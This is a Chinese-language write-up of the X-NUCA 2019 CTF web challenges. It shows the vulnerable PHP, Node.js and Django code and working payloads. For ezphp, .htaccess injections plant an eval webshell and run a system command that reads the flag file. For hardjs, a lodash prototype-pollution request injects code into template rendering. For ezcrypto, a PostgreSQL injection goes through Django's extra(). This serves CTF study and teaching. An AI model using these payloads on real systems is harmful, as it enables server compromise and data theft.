X-NUCA 2019线上赛 web题解

环境

https://github.com/NeSE-Team/OurChallenges

ezphp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php 
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

在题目环境中上传php文件不会被解析
后端服务器为apache,可以上传.htaccess
先是绕过正则,看下图例子

但在比赛环境中还有加一个ini_set('pcre.jit',0);
然后发现这样生成的.htaccess还是会报错,原因是\nJust one chance
可以在尾不添加#aa\进行绕过
这样生成的.htaccess

1
2
3
php_value pcre.backtrack_limit 0
php_vaule prce.jit 0 #aa\
just one chance

然后就可以上传任意文件名的文件了
可以直接上传一个fl3g.php
当然也可以利用php://filter
payload

1
2
3
4
先访问
http://xxx/?content=php_value%20pcre.backtrack_limit%200%0a%0dphp_value%20pcre.jit%200%0a%0d%0a%0d%23aa\&filename=.htaccess
然后下面的打两次
http://xxx/index.php?a=system(%27cat%20../../../root/flag.txt%27);exit;&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0ICAgIDAKDXBocF92YWx1ZSBhdXRvX2FwcGVuZF9maWxlICAgICIuaHRhY2Nlc3MiCg1waHBfdmFsdWUgcGNyZS5qaXQgICAwCg0KDSNhYTw%2FcGhwIGV2YWwoJF9HRVRbJ2EnXSk7Pz5c%3C%3C&filename=php://filter/write=convert.base64-decode/resource=.htaccess

另一种做法

1
content=php_value%20auto_prepend_fi\%0Ale%20”.htaccess”%0AErrorDocument%20404%20”<?php%20var_dump(eval($_GET[1]));?>\&filename=.htaccess

预期解法
第一步 通过error_log配合include_path在tmp目录生成shell

1
2
3
4
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \

第二步 通过include_path和utf7编码执行shell

1
2
3
4
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

hardjs

环境

https://github.com/Lou00/ctf/tree/master/xnuca2019/hardjs

解题

先用npm audit查看一下是否有存在问题的组件

发现可以原型链污染https://www.npmjs.com/advisories/1065
接下来找可控的代码拼接点

1
2
3
4
5
6
7
8
9
var escapeFn = opts.escapeFunction;
// ......

if (opts.client) {
src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
if (opts.compileDebug) {
src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
}
}

payload

1
{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": true}}}

根据代码逻辑要大于五才可以促发lodash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
else if(dataList[0].count > 5) { // if len > 5 , merge all and update mysql

console.log("Merge the recorder in the database.");

var sql = "select `id`,`dom` from `html` where userid=? ";
var raws = await query(sql,[userid]);
var doms = {}
var ret = new Array();

for(var i=0;i<raws.length ;i++){
lodash.defaultsDeep(doms,JSON.parse( raws[i].dom ));

var sql = "delete from `html` where id = ?";
var result = await query(sql,raws[i].id);
}
var sql = "insert into `html` (`userid`,`dom`) values (?,?) ";
var result = await query(sql,[userid, JSON.stringify(doms) ]);

if(result.affectedRows > 0){
ret.push(doms);
res.json(ret);
}else{
res.json([{}]);
}

}

所以下列exp 打六次

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST /add HTTP/1.1
Host: 127.0.0.1:8000
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: http://127.0.0.1:8000/
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 156
Connection: close
Cookie: session=s%3AjsynLDoVJrCyI0N8r2SKOluMnR2RL9n5.xCN62%2Be%2FD%2FVp%2FNMLeZ4ciGFxBX6W5xdqzkOemhzsRic

{"type":"wiki","content":{"constructor": {"prototype": {"client": true,"escapeFunction": "1; return process.env.FLAG","debug":true, "compileDebug": true}}}}

即可得到flag

ezcrypto

由于密码学不精,这里只讲web部分的内容
审计代码发现有一处注入点

1
2
3
4
5
6
records = Record.objects.extra(
where=['username=%s', 'message!=%s', 'luky!={0}'.format(luky)],
params=[user, message]
)
...
recordone.save()

https://docs.djangoproject.com/en/2.2/ref/models/querysets/#extra
数据库为psql
使用了format可以对luky字段进行注入
然后后面还有一个save,可以更新字段
payload

1
47) union select "id","lowlimit","uplimit",'root',"secretroot",U&"Nu!0073er" UESCAPE '!',U&"Eu!0073er" UESCAPE '!',"secretuser","message","luky" from "Record" where ("username"='test'


关于Nuser的绕过可以参考上图

blog_revenge

复现不了,留个坑位(咕咕咕
https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/blog_revenge

参考

https://xz.aliyun.com/t/6113
https://xz.aliyun.com/t/6111
https://xz.aliyun.com/t/6101